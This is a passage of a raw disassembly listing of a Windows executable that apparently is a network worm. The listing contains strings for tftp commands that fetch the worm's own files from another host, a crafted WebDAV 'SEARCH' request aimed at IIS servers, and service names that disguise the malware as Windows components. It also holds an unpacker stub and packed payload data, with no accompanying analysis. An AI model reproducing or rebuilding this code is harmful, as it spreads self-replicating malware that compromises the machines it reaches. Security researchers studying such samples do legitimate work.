'User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',0Dh,0Ah db 'Host: ',0 align 4 aConnectionKeep db 0Dh,0Ah ; DATA XREF: sub_402C40+95o db 'Connection: Keep-Alive',0Dh,0Ah db 0Dh,0Ah,0 align 4 aILoveMyWifeBab db '=========== I love my wife & baby :)~~~ Welcome Chian~~~ Notice' ; DATA XREF: seg000:00405B24o db ': 2004 will remove myself:)~~ sorry zhongli~~~=========== wins',0 align 4 aHttpDownload_6 db 'http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b' ; DATA XREF: seg000:00405430o db '1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe',0 align 4 aHttpDownload_5 db 'http://download.microsoft.com/download/5/8/f/58fa7161-8db3-4af4-b' ; DATA XREF: seg000:0040542Co db '576-0a56b0a9d8e6/Windows2000-KB823980-x86-CHT.exe',0 align 10h aHttpDownload_4 db 'http://download.microsoft.com/download/2/8/1/281c0df6-772b-42b0-9' ; DATA XREF: seg000:00405428o db '125-6858b759e977/Windows2000-KB823980-x86-CHS.exe',0 align 4 aHttpDownload_0 db 'http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8' ; DATA XREF: seg000:off_405424o db 'ad2-b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe',0 align 4 aHttpDownload_3 db 'http://download.microsoft.com/download/e/3/1/e31b9d29-f650-4078-8' ; DATA XREF: seg000:00405420o db 'a76-3e81eb4554f6/WindowsXP-KB823980-x86-KOR.exe',0 align 4 aHttpDownload_2 db 'http://download.microsoft.com/download/2/3/6/236eaaa3-380b-4507-9' ; DATA XREF: seg000:0040541Co db 'ac2-6cec324b3ce8/WindowsXP-KB823980-x86-CHT.exe',0 align 10h aHttpDownload_1 db 'http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8' ; DATA XREF: seg000:00405418o db 'd48-85e42de9d2c0/WindowsXP-KB823980-x86-CHS.exe',0 align 4 aHttpDownload_m db 'http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-a' ; DATA XREF: seg000:off_405414o db 'aee-b7a52a983f01/WindowsXP-KB823980-x86-ENU.exe',0 align 4 aTftpISGetSvcho db 'tftp -i %s get svchost.exe wins\SVCHOST.EXE',0Ah ; DATA XREF: sub_401210+48o db 0Dh,0 align 4 aTftpISGetDllho db 'tftp -i %s get dllhost.exe wins\DLLHOST.EXE',0Ah ; DATA XREF: sub_401210+34o db 0Dh,0 align 4 aNetworkConnect db 'Network Connections Sharing',0 ; DATA XREF: sub_4015E0+57o aSvchost_exe db 'svchost.exe',0 ; DATA XREF: sub_4015E0+52o ; sub_4023E0+59o aMsdtc db 'MSDTC',0 ; DATA XREF: sub_4015E0+4Do align 4 aSWinsSvchost_e db '%s\wins\svchost.exe',0 ; DATA XREF: sub_4015E0+2Do aSDllcacheTftpd db '%s\dllcache\tftpd.exe',0 ; DATA XREF: sub_4015E0+19o align 4 aWinsClient db 'WINS Client',0 ; DATA XREF: sub_401660+52o aDllhost_exe db 'DLLHOST.EXE',0 ; DATA XREF: sub_401660+4Do ; sub_401C80+ECo aBrowser db 'Browser',0 ; DATA XREF: sub_401660+48o aSWinsDllhost_e db '%s\wins\DLLHOST.EXE',0 ; DATA XREF: sub_401660+24o aSNOZQ db '%s -n -o -z -q',0 ; DATA XREF: sub_401780+15Co align 4 dword_4061A8 dd 53637052h dword_4061AC dd 69767265h dword_4061B0 dd 61506563h dword_4061B4 dd 652E6B63h word_4061B8 dw 6578h ; DATA XREF: sub_401780+102r byte_4061BA db 0 ; DATA XREF: sub_401780+10Dr align 4 dword_4061BC dd 74737973h, 32336D65h, 3Eh ; sub_401C80+8Eo ... aTimeoutOccurre db 'Timeout occurred',0 ; DATA XREF: sub_401B90+95o align 4 aTransferSucces db 'Transfer successful',0 ; DATA XREF: sub_401B90+86o aTftpd_exe db 'TFTPD.EXE',0 ; DATA XREF: sub_401C80+148o align 4 aTftpd_exe_0 db 'tftpd.exe',0 ; DATA XREF: sub_401C80+135o align 4 aDllhost_exe_0 db 'dllhost.exe',0 ; DATA XREF: sub_401C80+103o aMicrosoftWindo db 'Microsoft Windows',0 ; DATA XREF: sub_401C80+77o align 4 aMicrosoft_com db 'microsoft.com',0 ; DATA XREF: sub_401E80o align 4 word_406238 dw 0A0Dh ; DATA XREF: sub_401F30+17Er byte_40623A db 0 ; DATA XREF: sub_401F30+185r align 4 aHttp1_1Host127 db ' HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_401F30+100o db 'Host: 127.0.0.1',0Dh,0Ah db 'Content-Type: text/xml',0Dh,0Ah db 'Content-length: 377',0Dh,0Ah db 0Dh,0Ah db 'YXYX',0 aSearch db 'SEARCH /',0 ; DATA XREF: sub_401F30+Ao align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4022A0+1Co aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Updates\Windows XP\SP2\KB823980',0 ; DATA XREF: sub_402390+2Do align 10h aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Updates\Windows XP\SP1\KB823980',0 ; DATA XREF: sub_402390:loc_4023ACo align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Updates\Windows 2000\SP5\KB823980',0 ; DATA XREF: sub_402390+8o align 4 aManagesNetwork db 'Manages network configuration by updating DNS names IP address.',0 ; DATA XREF: sub_4023E0+D1o aSWinsS db '%s\wins\%s',0 ; DATA XREF: sub_4023E0+4Do align 4 aDSWins db '-d%s\wins',0 ; DATA XREF: sub_402540+33o align 4 aRpcpatch_mutex db 'RpcPatch_Mutex',0 ; DATA XREF: sub_4027B0o align 4 aSMsblast_exe db '%s\msblast.exe',0 ; DATA XREF: sub_402A00+63o align 4 aMsblast db 'msblast',0 ; DATA XREF: sub_402A00+8o a411 db '411',0 ; DATA XREF: sub_402C40+20Ao aSearchHttp1_1H db 'SEARCH / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+19Eo db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 aServerMicrosof db 'Server: Microsoft-IIS/5.0',0 ; DATA XREF: sub_402C40+13Fo align 4 aSSS db '%s%s%s',0 ; DATA XREF: sub_402C40+BAo align 4 dword_406414 dd 1 align 10h dword_406420 dd 0 ; sub_402B20+CAr dword_406424 dd 0 ; sub_401F30+50r ... dword_406428 dd 0 ; sub_402170+100w dword_40642C dd 0 ; sub_4020E0+13r dword_406430 dd 10h dup(0) ; sub_402AB0+3Fo ... dword_406470 dd 0 ; sub_402130+35w ... align 8 dword_406478 dd 0 align 10h dword_406480 dd 0 ; sub_402170+C7w dd 1Bh dup(0) dword_4064F0 dd 0 ; sub_402170+D3w dword_4064F4 dd 0 ; sub_402170+DFw dd 0Bh dup(0) dword_406524 dd 0 ; sub_402170+EFw dword_406528 dd 0 ; sub_402170+F9w dd 5 dup(0) dword_406540 dd 0 ; sub_402170+11Ew dd 2Eh dup(0) dword_4065FC dd 0 ; sub_402170+124w dd 74h dup(0) dword_4067D0 dd 0 dword_4067D4 dd 0 dword_4067D8 dd 0 dword_4067DC dd 0 dword_4067E0 dd 0B3h dup(0) dword_406AAC dd 0Fh dup(0) dword_406AE8 dd 146h dup(0) seg000 ends ; Section 2. (virtual address 00007000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00007000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 407000h assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing dword_407000 dd 11Ch dup(0) dword_407470 dd 0 ; sub_4020E0+33r dword_407474 dd 0 ; sub_402170+10Aw dword_407478 dd 8 dup(0) ; sub_401210+43o ... aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_4011C0+14o ; sub_4015E0+14o ... dd 3Dh dup(0) dword_4075A0 dd 0 ; sub_401280+9Cr ... dword_4075A4 dd 0 ; sub_401470+136r ... dword_4075A8 dd 20h dup(0) ; sub_401C80+18Co dword_407628 dd 20h dup(0) ; sub_401C80+15Co dword_4076A8 dd 0 ; seg000:00402932w dword_4076AC dd 0 dword_4076B0 dd 0 dword_4076B4 dd 0 dword_4076B8 dd 0 dword_4076BC dd 0FFFFFFFFh dword_4076C0 dd 0FFFFFFFFh dword_4076C4 dd 0 dd 24Eh dup(0) dd 0E0h, 3060h, 74654701h, 7473614Ch, 6F727245h, 49010072h dd 7265746Eh, 6B636F6Ch, 65446465h, 6D657263h, 746E65h dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6C470100h, 6C61626Fh dd 65657246h, 704F0100h, 72506E65h, 7365636Fh, 47010073h dd 69467465h, 7441656Ch, 62697274h, 73657475h, 53010041h dd 69467465h, 7441656Ch, 62697274h, 73657475h, 47010041h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 6D6E5501h dd 69567061h, 664F7765h, 656C6946h, 72430100h, 65746165h dd 6574754Dh, 1004178h, 65746E49h, 636F6C72h, 4964656Bh dd 6572636Eh, 746E656Dh, 6F4C0100h, 416C6163h, 636F6C6Ch dd 6F4C0100h, 466C6163h, 656572h, 74654701h, 73726556h dd 6E6F69h, 74654701h, 73726556h, 456E6F69h, 1004178h dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 47010073h dd 454F7465h, 50434Dh, 74654701h, 74737953h, 65446D65h dd 6C756166h, 49434C74h, 47010044h, 6F4D7465h, 656C7564h dd 656C6946h, 656D614Eh, 54010041h, 696D7265h, 6574616Eh dd 636F7250h, 737365h, 69615701h, 726F4674h, 676E6953h dd 624F656Ch, 7463656Ah, 6F430100h, 69467970h, 41656Ch dd 74654701h, 61636F4Ch, 6D69546Ch, 45010065h, 50746978h dd 65636F72h, 1007373h, 54746547h, 436B6369h, 746E756Fh dd 72430100h, 65746165h, 65726854h, 1006461h, 65656C53h dd 46010070h, 43656572h, 6F736E6Fh, 100656Ch, 53746547h dd 65747379h, 7269446Dh, 6F746365h, 417972h, 65724301h dd 54657461h, 686C6F6Fh, 33706C65h, 616E5332h, 6F687370h dd 50010074h, 65636F72h, 32337373h, 73726946h, 50010074h dd 65636F72h, 32337373h, 7478654Eh, 6C430100h, 4865736Fh dd 6C646E61h, 43010065h, 74616572h, 6F725065h, 73736563h dd 44010041h, 74656C65h, 6C694665h, 4165h, 0EDh, 3000h dd 61684301h, 5365676Eh, 69767265h, 6F436563h, 6769666Eh dd 1004132h, 72657551h, 72655379h, 65636976h, 666E6F43h dd 41326769h, 74530100h, 53747261h, 69767265h, 416563h dd 6C654401h, 53657465h, 69767265h, 1006563h, 69676552h dd 72657473h, 76726553h, 43656369h, 486C7274h, 6C646E61h dd 417265h, 74655301h, 76726553h, 53656369h, 75746174h dd 53010073h, 74726174h, 76726553h, 43656369h, 446C7274h dd 61707369h, 65686374h, 1004172h, 72657551h, 72655379h dd 65636976h, 74617453h, 1007375h, 72657551h, 72655379h dd 65636976h, 666E6F43h, 416769h, 61684301h, 5365676Eh dd 69767265h, 6F436563h, 6769666Eh, 41010041h, 73756A64h dd 6B6F5474h, 72506E65h, 6C697669h, 73656765h, 704F0100h dd 43536E65h, 616E614Dh, 41726567h, 72430100h, 65746165h dd 76726553h, 41656369h, 6C430100h, 5365736Fh, 69767265h dd 61486563h, 656C646Eh, 704F0100h, 65536E65h, 63697672h dd 1004165h, 4F676552h, 4B6E6570h, 78457965h, 52010041h dd 6C436765h, 4B65736Fh, 1007965h, 6E65704Fh, 636F7250h dd 54737365h, 6E656B6Fh, 6F4C0100h, 70756B6Fh, 76697250h dd 67656C69h, 6C615665h, 416575h, 0FA00h, 305000h, 63490100h dd 6C43706Dh, 4865736Fh, 6C646E61h, 49010065h, 43706D63h dd 74616572h, 6C694665h, 49010065h, 53706D63h, 45646E65h dd 6F6863h, 10300h, 30F000h, 78650100h, 1007469h, 7063585Fh dd 6C694674h, 726574h, 675F5F01h, 616D7465h, 72616E69h dd 1007367h, 696E695Fh, 72657474h, 7301006Dh, 74737274h dd 73010072h, 646E6172h, 3F3F0100h, 41594032h, 49584150h dd 1005A40h, 5F705F5Fh, 6E695F5Fh, 6E657469h, 5F010076h dd 7465735Fh, 72657375h, 6874616Dh, 727265h, 64615F01h dd 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh, 6D6D6F63h dd 65646Fh, 72707301h, 66746E69h, 74730100h, 68637272h dd 5F010072h, 5F5F705Fh, 646F6D66h, 5F010065h, 7465735Fh dd 7070615Fh, 7079745Fh, 5F010065h, 65637865h, 685F7470h dd 6C646E61h, 337265h, 6F635F01h, 6F72746Eh, 70666Ch, 78655F01h dd 1007469h, 40333F3Fh, 50584159h, 5A405841h, 61720100h dd 100646Eh, 7274735Fh, 706D6369h, 10E0000h, 319C0000h dd 55010000h, 6F444C52h, 6F6C6E77h, 6F546461h, 656C6946h dd 19000041h, 48000001h, 1000031h, 74697845h, 646E6957h dd 4573776Fh, 24000078h, 50000001h, 0FF000031h, 4FF0017h dd 39FF00h, 0FF000CFFh, 15FF0034h, 13FF00h, 0FF0010FFh dd 9FF0003h, 2FF00h, 0FF0074FFh, 1FF000Dh, 8FF00h, 0FF0073FFh dd 0BFF000Eh, 0 dd 45500000h, 14C0000h, 20080003h, 9A08h, 0 dd 0E00000h, 10B010Fh, 30000006h, 40000000h, 0 dd 2FCC0000h, 10000000h, 40000000h, 0 dd 10000040h, 10000000h, 40000h, 0 dd 40000h, 0 dd 80000000h, 10000000h, 0 dd 30000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 41B40000h, 0A00000h, 14h dup(0) dd 40000000h, 1A40000h, 6 dup(0) dd 742E0000h, 747865h, 213A0000h, 10000000h, 30000000h dd 10000000h, 3 dup(0) dd 200000h, 722E6000h, 61746164h, 9B00000h, 40000000h dd 10000000h, 40000000h, 3 dup(0) dd 400000h, 642E4000h, 617461h, 26C80000h, 50000000h, 20000000h dd 50000000h, 3 dup(0) dd 400000h, 7000C000h, 43F80000h, 2 dup(755E0000h), 8DD71262h dd 0CECF74AAh, 0BA612C8h, 0C097F36Bh, 91ED3F6Ah, 5E1AC6C0h dd 0D97BDC9Dh, 70B7FFFEh, 5412C707h, 9ABDDF12h, 9A78485Ah dd 0FF50AA58h, 850D9112h, 7B5ADFFFh, 0E9B7858h, 63120853h dd 5F1A6E12h, 0F3491297h, 37DAC09Ah, 0ED71DCD8h, 60940C6Eh dd 0C365CE66h, 0FFFEEF68h, 75F812F9h, 0F36D12DDh, 9D10C089h dd 0C9627B17h, 0F398F300h, 0BDB2FF9Bh, 216D226Dh, 2A1C710h dd 5EFFD9A5h, 9898B5DFh, 0FEC5BFFBh, 0C989DE14h, 2159AACFh dd 0A5CE1403h, 0F4FA9B5Eh, 0D9CB99FDh, 7EDFB9BBh, 9E5E71CEh dd 5E9B499Bh, 0FA9DDEh, 13CACE4Ch, 6EBADFDAh, 1B650361h dd 1C353275h, 0C860EC59h, 0CBEDFF78h, 0C34B11DFh, 777B32C0h dd 669A715Ah, 0EDFCDE00h, 0FAF6EBC9h, 6F7BBFD8h, 0EBFDFDFFh dd 99EAEAFCh, 0EDF805DAh, 0D80D11FCh, 0F0E1DC99h, 0DDBFDBEDh dd 13F1CDDCh, 4F6D563h, 0EBFBF0D5h, 17E0EBF8h, 0BB797FEEh dd 0C6ABEAFDh, 6399ABAAh, 0F229CAD8h, 0F6FAEDFCh, 0FAFCF7F7h dd 6FB58D24h, 0F6F5FADFh, 99143AEAh, 0D23F2057h, 0B72D20C8h dd 0C2A88h, 81268002h, 0C8C28F7h, 2F84BF07h, 4DD137F1h dd 642079D2h, 61636C6Ch, 745C65C2h, 0D1BFA37Dh, 2E347466h dd 20657865h, 5C732877h, 0E9987673h, 6F14B12Bh, 0DE0A10D3h dd 0F3D01C13h, 4C4C44FFh, 54534F48h, 4558452Eh, 0EEF9149Ah dd 544985BDh, 500B5338h, 68637461h, 0C5B656F7h, 495A7241h dd 0EDFFB300h, 3D3D9F2Fh, 0D2CB00CAh, 0DAD3D3D2h, 2FDCDBDAh dd 62E607D6h, 47773463h, 68525445h, 20FE2D8Bh, 50545448h dd 6031D32Fh, 6F46A341h, 7495D054h, 29E8203Ah, 85A8DB07h dd 0A2C0980h, 716D2D78h, 6278F2D8h, 10707469h, 1667AF6Ah dd 0B8767DBh, 2F2A0C70h, 0B355412Ah, 0F6DD5B6Fh, 14412D72h dd 0ED4D456Eh, 2F616F69h, 0E154AD34h, 28202E42h, 0FEBE350Eh dd 0B446A16Dh, 53183B06h, 35204549h, 0BF17352Eh, 5709DB51h dd 73773A94h, 0FC383920h, 5CD7B685h, 0C3359948h, 0DA67430Bh dd 6EA190CDh, 4B116E30h, 15A89465h, 7B53D46Ah, 0FA35177Fh dd 0DF0467B2h, 20492000h, 0D6EA5B7Ah, 6D2019BDh, 766E179h dd 62222026h, 6D42B90Bh, 7E293A7Bh, 765F2000h, 2EC76E78h dd 584315B5h, 4E116E61h, 6563546Fh, 5D0B7368h, 34DC3220h dd 4220A032h, 605B36EFh, 6CBB416Dh, 0CC8F3866h, 6FF6EDB5h dd 7A437272h, 76677D68h, 88686F36h, 0B1480C22h, 0EA982D74h dd 2F3A765Eh, 0AE6EBE2Fh, 85B96D80h, 0CA56A856h, 712E8C38h dd 93FB51BDh, 2F362F16h, 5352F39h, 3764375Ah, 1BFC2FF5h dd 62662D59h, 342D6137h, 622D39B7h, 2D366531h, 2AB7D1B0h dd 36627A3Fh, 326C6632h, 0A105DFC2h, 30980C27h, 38424B2Dh dd 0C0153332h, 8B76F0Eh, 4B253878h, 73B1524Fh, 0A5BDB52Fh dd 662F386Fh, 37C83805h, 72FD3631h, 2D31FDD9h, 33626438h dd 35346673h, 35613037h, 2BE46236h, 3904BDACh, 73803864h dd 0F6544843h, 322266B7h, 31380531h, 66643063h, 5ADED53Eh dd 323737FBh, 4C037362h, 0F6323139h, 3D4DB590h, 65536254h dd 0DF731839h, 5376113Ch, 312F30E7h, 64663130h, 2F6B6D64h dd 663034FFh, 6366652Dh, 64333335h, 0EC321CF1h, 856B6DB0h dd 65175C34h, 73350534h, 0AF90891Bh, 0EE554E45h, 742B6D33h dd 33657577h, 0C5325C31h, 0FF4735EAh, 7C685706h, 335B73DAh dd 65313865h, 8353462h, 35E49C21h, 50586634h, 639B0CDh dd 47335B42h, 43723641h, 33ED0D6Bh, 355B4864h, 5DB63730h dd 6361F280h, 32336932h, 840733ECh, 38D8461Dh, 0C773CD73h dd 615DD68Eh, 2B033501h, 0BB433064h, 3379470Eh, 44383361h dd 35EC344Dh, 860AC265h, 6564590Bh, 0EB73EE02h, 53B90A18h dd 5624339h, 46ED6B5Ah, 0D666329h, 35086C64h, 0E7EB4075h dd 2D6D7338h, 0AC233539h, 1D252B70h, 73F16633h, 92D03FFh dd 207100CDh, 2520692Dh, 23C2073h, 6567F203h, 6E202074h dd 80435653h, 2F96CAC0h, 8062D629h, 0CF9E20C0h, 0EB2DBE24h dd 6B2677D6h, 5338A920h, 0F0726168h, 2BDD80D6h, 6C0067h dd 435444ECh, 4CD0246Fh, 13FA4207h, 256EF6Ah, 49572BC6h dd 0A158534Eh, 7AD03580h, 41770046h, 6E02B258h, 4B60F372h dd 0B6CB2C1Bh, 6E2DB71Bh, 717A6F02h, 18DB5D6Dh, 762A532Fh dd 6B5F50ECh, 9ED5A36Eh, 78797358h, 633E2CECh, 817B605Ah dd 6F65BC54h, 0F36FE875h, 31EDB475h, 6365EDD8h, 55617254h dd 6ED83566h, 752D2C1Dh, 750A7309h, 3046136Ch, 1D36F730h dd 0A31F6144h, 96E08604h, 0D0CFE320h, 370425C0h, 4D0FE31Fh dd 0B9706020h, 0E706EC6Ah, 371B6C1Ah, 4710011Ch, 0BBC0CDE0h dd 542DEF74h, 0A9E7079h, 6D2F7478h, 4E95976Fh, 67046C17h dd 33196874h, 683F6FC2h, 58590641h, 45530001h, 0ADC55241h dd 0C2835ED0h, 0CE7DECBBh, 1F0AD685h, 0F683504Bh, 0EC9DC52Eh dd 4F136DB6h, 452257BCh, 555CA05Ch, 0B6850618h, 3A4F61C0h dd 0BC61D879h, 500941D1h, 455C32h, 0C845AF33h, 0A793114h dd 357496AFh, 0CB6E4F35h, 40266C60h, 634B6E1Ch, 0C7C1D766h dd 8E6769C2h, 0C6204E61h, 366E4575h, 20518EC7h, 6D2B1044h dd 30205049h, 1C970D19h, 2E9D7264h, 580F2507h, 2D70DB04h dd 5F2B0D64h, 0C4B0754Dh, 7B480C31h, 617A736Dh, 8360A970h dd 0D10C00AEh, 96893131h, 9B439212h, 6B276E34h, 24411EDh dd 492DDA0Eh, 0D68518BDh, 0B41A5349h, 422001D3h, 4030C80h dd 88580101h, 42A8CB00h, 0A5FAE052h, 0FC0B1432h, 74654701h dd 0FB60054Ch, 724544ADh, 0D726F72h, 4A00A549h, 6C72FFC1h dd 656B636Fh, 63654464h, 0B7EE6152h, 1123BBE6h, 416C6162h dd 400C186Ch, 46DB6EDBh, 4F0B651Bh, 38501F70h, 1CC6005Fh dd 0B0464964h, 72747441h, 0F6CB256Fh, 74756269h, 27534113h dd 0F6FB9B82h, 75646F4Dh, 6E614815h, 55111B64h, 0F7B6D06Eh dd 695693B7h, 664F7765h, 5D43102Dh, 2AAFB09h, 9441F676h dd 0C936B25Eh, 104C6E49h, 22C0B93h, 5D92CDF4h, 330BE156h dd 450F6701h, 24437878h, 1FD8C03Dh, 454FB358h, 950434Dh dd 0DDA17B53h, 66F7574Eh, 43149C61h, 0BDAB4449h, 97017F7Dh dd 0AD6D614Eh, 696D5254h, 9ED0B06Eh, 57459FCCh, 3EE66961h dd 0B780B553h, 4F25E202h, 36486A62h, 0C3C20D7Bh, 0A1783539h dd 3CCDB096h, 8B6D6954h, 0DD158069h, 0D9B5B7B3h, 0F7D3752Ch dd 64066854h, 0C825B5Eh, 670B13Ch, 5C3B2FD7h, 6F733E02h dd 7269A619h, 73764DBFh, 41797466h, 68216F36h, 33706C65h dd 0DBEE60B5h, 709D5332h, 506F6873h, 1C2B1267h, 789A158h dd 6F594E0Fh, 0C2C20B36h, 4586733Dh, 82B5ACD4h, 1508554Bh dd 6DB7C20Fh, 0ED00F152h, 2E68250Ch, 7D6567h, 43930167h dd 0A7E432E9h, 512CDB6Ch, 15791175h, 72617453h, 4B377B74h dd 700F5116h, 69676552h, 31B671CAh, 233672ACh, 85728B6Ch dd 399B05DDh, 75744417h, 50134C73h, 442BBE82h, 21651E80h dd 7F2E3D9Bh, 86FC9330h, 0BF417604h, 6A644141h, 31747375h dd 62A34059h, 46127377h, 53DF9E02h, 6872DF43h, 5961D86Ch dd 0BA0E3FD0h, 0D9B2DCFEh, 10E32133h, 9079654Bh, 823DEC5Ch dd 3D0F330Eh, 9623DB92h, 7581C779h, 61E69F70h, 75325663h dd 4950FA7Ch, 12F66963h dd 0B3706DC2h, 46389410h, 0F37B5B0h, 9D451B7Ch, 0B72CF1CDh dd 0F0010337h, 68057265h, 5FF4E19Dh, 8E706358h, 5F5F0C72h dd 8B476EB5h, 6772C80Ah, 0CE085FE9h, 22AEB42Dh, 70A6D18h dd 0FB070272h, 72B9BFFEh, 3F3F0664h, 41594032h, 49584150h dd 70365A40h, 0B6F68602h, 76652C58h, 116B8B0Eh, 3773433Eh dd 61578882h, 6082364Ah, 64665FEDh, 6D392EC4h, 95C15A36h dd 0D9AF9D44h, 0CC1B66E6h, 1262C510h, 0BD1D661Fh, 4B362DB7h dd 7411703Eh, 770F7079h, 0B5A22EC6h, 13685FC7h, 0A3771133h dd 39590215h, 1D7066E5h, 0BDD35CF6h, 58339DD3h, 2CB19D9Eh dd 476D5C18h, 0E00086Dh, 0D9BC1598h, 5255319Ch, 0E99F444Ch dd 6A518374h, 481C19D2h, 9B5B390h, 170AE0C1h, 0B6596524h dd 17FF504Dh, 0C390402h, 96596596h, 10131534h, 96590903h dd 74025965h, 0F208010Dh, 73659604h, 50710B0Eh, 92FE8045h dd 3014CFFh, 8200800h, 0B010F9Ah, 41660601h, 4052C6CFh dd 0BE2FCC13h, 0F7D9E764h, 0F10040Fh, 5B070004h, 17B67406h dd 0CB0C3180h, 10EC0DE0h, 0BA360607h, 0B4CB2101h, 0A4A2A041h dd 8C2B829h, 85F02E26h, 79DB06Ch, 3090213Ah, 8F052D98h dd 2E609501h, 29611072h, 53B9309Bh, 6A0309B0h, 0DEECD3BDh dd 3C262E40h, 75026C8h, 94E1B6E5h, 0EB00C027h, 5E0343F8h dd 75h, 4800000h, 0FF00h, 3 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset dword_407000 lea edi, [esi-6000h] push edi or ebp, 0FFFFFFFFh jmp short loc_409082 ; --------------------------------------------------------------------------- align 8 loc_409078: ; CODE XREF: seg001:loc_409089j mov al, [esi] inc esi mov [edi], al inc edi loc_40907E: ; CODE XREF: seg001:00409116j ; seg001:0040912Dj add ebx, ebx jnz short loc_409089 loc_409082: ; CODE XREF: seg001:00409070j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_409089: ; CODE XREF: seg001:00409080j jb short loc_409078 mov eax, 1 loc_409090: ; CODE XREF: seg001:0040909Fj ; seg001:004090AAj add ebx, ebx jnz short loc_40909B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_40909B: ; CODE XREF: seg001:00409092j adc eax, eax add ebx, ebx jnb short loc_409090 jnz short loc_4090AC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_409090 loc_4090AC: ; CODE XREF: seg001:004090A1j xor ecx, ecx sub eax, 3 jb short loc_4090C0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_409132 mov ebp, eax loc_4090C0: ; CODE XREF: seg001:004090B1j add ebx, ebx jnz short loc_4090CB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_4090CB: ; CODE XREF: seg001:004090C2j adc ecx, ecx add ebx, ebx jnz short loc_4090D8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_4090D8: ; CODE XREF: seg001:004090CFj adc ecx, ecx jnz short loc_4090FC inc ecx loc_4090DD: ; CODE XREF: seg001:004090ECj ; seg001:004090F7j add ebx, ebx jnz short loc_4090E8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_4090E8: ; CODE XREF: seg001:004090DFj adc ecx, ecx add ebx, ebx jnb short loc_4090DD jnz short loc_4090F9 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_4090DD loc_4090F9: ; CODE XREF: seg001:004090EEj add ecx, 2 loc_4090FC: ; CODE XREF: seg001:004090DAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_40911C loc_40910D: ; CODE XREF: seg001:00409114j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_40910D jmp loc_40907E ; --------------------------------------------------------------------------- align 4 loc_40911C: ; CODE XREF: seg001:0040910Bj ; seg001:00409129j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_40911C add edi, ecx jmp loc_40907E ; --------------------------------------------------------------------------- loc_409132: ; CODE XREF: seg001:004090BCj pop esi mov edi, esi mov ecx, 5Dh loc_40913A: ; CODE XREF: seg001:00409141j ; seg001:00409146j mov al, [edi] inc edi sub al, 0E8h loc_40913F: ; CODE XREF: seg001:00409164j cmp al, 1 ja short loc_40913A cmp byte ptr [edi], 1 jnz short loc_40913A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_40913F lea edi, [esi+7000h] loc_40916C: ; CODE XREF: seg001:0040918Ej mov eax, [edi] or eax, eax jz short loc_4091B7 mov ebx, [edi+4] lea eax, [eax+esi+9000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+90A0h] xchg eax, ebp loc_409189: ; CODE XREF: seg001:004091AFj mov al, [edi] inc edi or al, al jz short loc_40916C mov ecx, edi jns short near ptr loc_40919A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_40919A: ; CODE XREF: seg001:00409192j mov ecx, 0AEF24857h push ebp call dword ptr [esi+90A4h] or eax, eax jz short loc_4091B1 mov [ebx], eax add ebx, 4 jmp short loc_409189 ; --------------------------------------------------------------------------- loc_4091B1: ; CODE XREF: seg001:004091A8j call dword ptr [esi+90A8h] loc_4091B7: ; CODE XREF: seg001:00409170j popa jmp loc_402FCC ; --------------------------------------------------------------------------- align 1000h seg001 ends ; Section 3. (virtual address 0000A000) ; Virtual size : 0000F000 ( 61440.) ; Section size in file : 0000F000 ( 61440.) ; Offset to raw data for section: 0000A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 40A000h assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing dd 3 dup(0) dd 0A0E0h, 0A0A0h, 3 dup(0) dd 0A0EDh, 0A0B0h, 3 dup(0) dd 0A0FAh, 0A0B8h, 3 dup(0) dd 0A103h, 0A0C0h, 3 dup(0) dd 0A10Eh, 0A0C8h, 3 dup(0) dd 0A119h, 0A0D0h, 3 dup(0) dd 0A124h, 0A0D8h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 76D64B79h, 0 dd 77C39E7Eh, 